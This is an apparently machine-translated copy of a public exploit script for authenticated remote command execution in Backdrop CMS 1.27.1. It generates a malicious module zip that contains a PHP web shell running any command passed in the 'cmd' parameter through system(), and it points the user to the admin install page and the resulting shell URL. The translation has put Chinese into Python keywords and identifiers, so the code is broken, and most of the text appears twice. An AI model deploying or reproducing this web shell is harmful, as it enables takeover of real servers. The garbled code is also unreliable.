#利用标题:背景CMS 1.27.1-身份验证的远程命令执行(RCE)
#日期: 04/27/2024
#利用作者: ahmetümitBayram
#供应商homepage: https://backdropcms.org/
#软件link: https://github.com/backdrop/backdrop/releases/download/1.27.1/backdrop.zip.zip
#版本:最新
#在: MacOS上测试
导入操作系统
进口时间
导入Zipfile
def create_files():
info_content='''
type=模块
名称=块
描述=控制视觉构建块一个页面的构建
和。块是呈现到一个区域或区域的内容盒
网页。
包=布局
标签[]=块
标签[]=站点体系结构
版本=Backdrop_version
背景=1.x
configure=admin/struction/block
;由Backdrop CMS包装脚本添加在2024-03-07
项目=背景
版本=1.27.1
时间戳=1709862662
'''
shell_info_path='shell/shell.info'
OS.Makedirs(OS.Path.dirname(shell_info_path),equent_ok=true)#klasörüluşturur
用file:打开(shell_info_path,'w')
file.write(info_content)
shell_content='''
html
身体
form method='get'name='?php echo basename($ _ server ['php_self']);
输入类型='text'名称='cmd'autocus id='cmd'size='80'
输入类型='submit'value='execute'
/形式
pre
php
if(isset($ _ get ['cmd']))
{
系统($ _ get ['cmd']);
}
?
/pre
/身体
/html
'''
shell_php_path='shell/shell.php'
用file:打开(shell_php_path,'w')
file.write(shell_content)
返回shell_info_path,shell_php_path
def create_zip(info_path,php_path):
zip_filename='shell.zip'
用zipfile.zipfile(zip_filename,'w')为zipf:
zipf.write(info_path,arcname='shell/shell.info')
zipf.write(php_path,arcname='shell/shell.php')
返回zip_filename
DEF MAIN(URL):
打印('Backdrop CMS 1.27.1-远程命令执行利用')
时间。
打印(“邪恶的模块产生.”)
时间。
info_path,php_path=create_files()
zip_filename=create_zip(info_path,php_path)
打印(“生成邪恶的模块!”,zip_filename)
时间。
打印('转到' + url +'/admin/模块/安装和上传' +
zip_filename +'用于手动安装。')
时间。
打印('您的外壳地址:',url +'/modules/shell/shell.php')
如果name=='__ -Main __':
导入系统
如果Len(sys.argv)2:
打印('USAGE: Python Script.py ') 其他: main(sys.argv [1])
#日期: 04/27/2024
#利用作者: ahmetümitBayram
#供应商homepage: https://backdropcms.org/
#软件link: https://github.com/backdrop/backdrop/releases/download/1.27.1/backdrop.zip.zip
#版本:最新
#在: MacOS上测试
导入操作系统
进口时间
导入Zipfile
def create_files():
info_content='''
type=模块
名称=块
描述=控制视觉构建块一个页面的构建
和。块是呈现到一个区域或区域的内容盒
网页。
包=布局
标签[]=块
标签[]=站点体系结构
版本=Backdrop_version
背景=1.x
configure=admin/struction/block
;由Backdrop CMS包装脚本添加在2024-03-07
项目=背景
版本=1.27.1
时间戳=1709862662
'''
shell_info_path='shell/shell.info'
OS.Makedirs(OS.Path.dirname(shell_info_path),equent_ok=true)#klasörüluşturur
用file:打开(shell_info_path,'w')
file.write(info_content)
shell_content='''
html
身体
form method='get'name='?php echo basename($ _ server ['php_self']);
输入类型='text'名称='cmd'autocus id='cmd'size='80'
输入类型='submit'value='execute'
/形式
pre
php
if(isset($ _ get ['cmd']))
{
系统($ _ get ['cmd']);
}
?
/pre
/身体
/html
'''
shell_php_path='shell/shell.php'
用file:打开(shell_php_path,'w')
file.write(shell_content)
返回shell_info_path,shell_php_path
def create_zip(info_path,php_path):
zip_filename='shell.zip'
用zipfile.zipfile(zip_filename,'w')为zipf:
zipf.write(info_path,arcname='shell/shell.info')
zipf.write(php_path,arcname='shell/shell.php')
返回zip_filename
DEF MAIN(URL):
打印('Backdrop CMS 1.27.1-远程命令执行利用')
时间。
打印(“邪恶的模块产生.”)
时间。
info_path,php_path=create_files()
zip_filename=create_zip(info_path,php_path)
打印(“生成邪恶的模块!”,zip_filename)
时间。
打印('转到' + url +'/admin/模块/安装和上传' +
zip_filename +'用于手动安装。')
时间。
打印('您的外壳地址:',url +'/modules/shell/shell.php')
如果name=='__ -Main __':
导入系统
如果Len(sys.argv)2:
打印('USAGE: Python Script.py ') 其他: main(sys.argv [1])